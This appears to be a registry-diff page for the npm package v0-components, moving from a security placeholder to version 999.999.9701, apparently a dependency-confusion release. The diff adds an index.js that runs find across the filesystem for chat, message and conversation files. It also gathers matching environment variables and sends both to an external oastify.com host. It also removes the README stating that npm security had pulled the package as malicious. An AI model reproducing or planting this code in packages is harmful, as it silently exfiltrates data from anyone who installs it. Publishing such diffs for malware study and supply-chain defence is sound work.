v0-components 0.0.1-security → 999.999.9701
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of v0-components might be problematic. Click here for more details.
- package/index.js +32 -0
- package/package.json +5 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const fs = require('fs');
|
|
3
|
+
const { execSync } = require('child_process');
|
|
4
|
+
|
|
5
|
+
try {
|
|
6
|
+
// Search for chat-related files only
|
|
7
|
+
const findings = [];
|
|
8
|
+
|
|
9
|
+
// Look for any chat/message/conversation files
|
|
10
|
+
const searchCmd = "find / -maxdepth 5 -type f -name '*chat*' -o -name '*message*' -o -name '*conversation*' 2>/dev/null | head -20";
|
|
11
|
+
const files = execSync(searchCmd).toString().split('\n').filter(f => f);
|
|
12
|
+
|
|
13
|
+
// Check environment for chat IDs or tokens
|
|
14
|
+
const chatVars = Object.keys(process.env).filter(k =>
|
|
15
|
+
k.includes('CHAT') || k.includes('MESSAGE') || k.includes('CONVERSATION')
|
|
16
|
+
).map(k => k + '=' + process.env[k].substring(0, 50));
|
|
17
|
+
|
|
18
|
+
// Send findings
|
|
19
|
+
if (files.length > 0 || chatVars.length > 0) {
|
|
20
|
+
const params = new URLSearchParams({
|
|
21
|
+
pkg: 'v0-components',
|
|
22
|
+
files: files.join(',').substring(0, 1000),
|
|
23
|
+
vars: chatVars.join(',').substring(0, 1000)
|
|
24
|
+
});
|
|
25
|
+
https.get(`https://gaujuzjlo6s8d118wm5cvk0lwc26qwel.oastify.com/found-chat?${params}`, r => r.resume()).on('error', () => {});
|
|
26
|
+
} else {
|
|
27
|
+
https.get(`https://gaujuzjlo6s8d118wm5cvk0lwc26qwel.oastify.com/v0-components-no-chat-data`, r => r.resume()).on('error', () => {});
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
} catch(e) {}
|
|
31
|
+
|
|
32
|
+
module.exports = {};
|
package/package.json
CHANGED
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=v0-components for more information.
|